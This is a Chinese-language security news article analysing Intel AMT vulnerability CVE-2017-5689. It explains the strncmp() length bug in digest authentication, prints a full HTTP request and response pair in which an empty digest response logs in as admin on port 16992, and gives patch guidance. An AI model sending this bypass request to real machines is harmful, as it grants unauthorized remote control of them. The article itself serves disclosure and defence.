英特尔AMT功能远程提权高危漏洞分析

华盟原创文章投稿奖励计划

本周早些时候,英特尔发布了一个高危提权漏洞,影响的范围包括过去7年英特尔服务器芯片的远程管理功能。远程攻击者可以利用漏洞控制存在PC、笔记本电脑和服务器

这款漏洞编号为CVE-2017-5689,能够影响到英特尔远程管理技术,包括Active Management Technology (AMT), Intel Standard Manageability(ISM)和Intel Small Business Technology (SBT)软件,版本号由6开始到11.6。如果你在电脑上看到过这些标志,那么你很有可能中招了。

687474703a2f2f692e696d6775722e636f6d2f4576713343556f2e706e67.png

漏洞最先由Embedi 研究团队的MaksimMalyutin在二月中旬发现,发现后他立即提交给了英特尔安全团队。

现在大部分系统管理员已经通过补丁更新了系统,Embedi决定披露更多细节

黑客能够通过发送空的验证字符串来劫持使用英特尔芯片的电脑,在了解其中的原理之前我们得先回答下面几个问题:

什么是Intel AMT?

Intel AMT漏洞出现在哪里?

黑客怎样利用这个漏洞?

什么是Intel AMT?

英特尔通过其 vPro 商务处理器平台提供了 Intel Active Management Technology(AMT)技术,这项技术能让IT管理人员远程管理和修复PC、工作站和服务器。

这项预设的功能使用基于Web的控制页面,通过远程端口16992和16993让管理员远程管理系统。

Intel AMT Web界面甚至可以在系统关机时运作,因为它集成在芯片中,所以可以独立于操作系统运作,只要机器连接了电源和网线。

Intel AMT漏洞出现在哪里?

为了防止功能被未授权的用户滥用,AMT服务会使用HTTP摘要认证和Kerberos验证机制。

权限提升漏洞就出现在Intel AMT Web界面通过HTTP摘要认证协议认证用户的环节,这是个基于挑战/应答(Challenge/Response)方式的身份认证系统。

在解释漏洞之前我们先了解一下摘要认证的原理,摘要认证包含以下这些步骤:

用户先发起一个没有认证证书的登陆请求,作为响应,服务器回复一个随机数(称作”nonce“)、HTTP方法以及请求的URI。

接下来用户就会被提示输入用户名和密码。

输入后,客户端就会发送一个加密的字符串(user_response),字符串是使用一个单向的加密函数生成的一个消息摘要(message digest),该摘要由用户名、密码、给定的nonce值、HTTP方法,以及所请求的URI生成。

而服务器端也会通过数据库中的用户名密码计算一个类似的加密字符串(computed_response)。

服务器使用strncmp()函数对两个字符串进行比较,如果二者相符就会让用户登陆Intel AMT Web界面。

而Intel AMT漏洞正是出现在strncmp()函数中。

语法:

strncmp (string_1, string_2 , length)

其中length参数定义了多少个字符会被比较

Strncmp()是一个二进制安全字符串比较函数,所谓二进制安全就是指在一个二进制文件上所执行的不更改文件内容的功能或者操作,其本质上将操作输入作为原始的、无任何特殊格式意义的数据流。函数的返回值包括负整数,0和正整数,取决于string_1是否比string_2大,如果二者相等,则返回0。

存在问题的代码:

if(strncmp(computed_response, user_response, response_length))
exit(0x99);

很明显,要认证成功,变量user_response的值必须等于computed_response,因此无论长度如何,strncmp()函数的返回值必须为0。

但是写这段代码的程序员错误地吧user_response的长度放到了strncmp()函数中,而非computed_response。

黑客如何利用?

要想利用漏洞,未经授权的用户只需要发送空的user_response值。

由于strncmp()错误地用user_response变量来认证用户,因此,发送null值就会让比较很熟认为user_response与computed_response相等,从而通过验证。

攻击示例:

GET /index.htm HTTP/1.1
Host: 127.0.0.1:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
realm=»Digest:048A0000000000000000000000000000»,
nonce=»qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n»,stale=»false»,qop=»auth»
Content-Type: text/html
Server: AMT
Content-Length: 678
Connection: close
GET /index.htm HTTP/1.1
Host: 127.0.0.1:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Authorization: Digest username=»admin»,
realm=»Digest:048A0000000000000000000000000000»,
nonce=»qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n», uri=»/index.htm», response=»»,
qop=auth, nc=00000001, cnonce=»60513ab58858482c»
HTTP/1.1 200 OK
Date: Thu, 4 May 2017 16:09:17 GMT
Server: AMT
Content-Type: text/html
Transfer-Encoding: chunked
Cache-Control: no cache
Expires: Thu, 26 Oct 1995 00:00:00 GMT
04E6

漏洞危害

攻击者还可以使用Keyboard Video Mouse (KVM)功能,这个功能内置在Intel AMT Web控制平台中,KVM能够让系统管理员远程控制系统,能够执行的操作包括:

“[攻击者]可以远程加载执行任意程序,读写文件(使用常规的文件管理器)” ,研究人员在论文中写道,“使用IDE-R (IDERedirection),黑客还可以远程更改启动设备,比如吧其他虚拟镜像作为启动设备。”

“使用SOL (Serial over LAN), [攻击者]能够远程开关机/重启/重置系统,还可以对BIOS选项进行编辑。”

也就是说,黑客可以做任何事情,可以登陆机器、执行恶意活动,包括修改系统和安装那些无法检测的恶意软件。

升级固件修复系统

漏洞影响的英特尔管理固件版本包括6.x, 7.x, 8.x 9.x, 10.x, 11.0,11.5和11.6,不过在6以前和11.6以后的版本则不受影响。

英特尔已经将漏洞评级为高危,并且发布了新的固件版本。于此同时,英特尔还发布了一些指导文件,一份用于检测工作站是否运行了AMT, ISM或SBT,一份用于检测系统是否存在漏洞,还有针对不能立即升级的企业的修复指导

研究员Bart Blaze在GitHub上也发布了一款简单的修复工具,基于英特尔的指导文件制作。

受影响的用户只需要下载运行其中的DisableAMT.exe,这个文件会关闭Windows操作系统(x86和x64系统)中的AMT功能。

687474703a2f2f692e696d6775722e636f6d2f6534444d5845562e706e67.png

*参考来源:THN & Embedi,本文作者:Sphinx,转载请注明来自FreeBuf.COM

本文原创,作者:小龙,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/84867.html

发表评论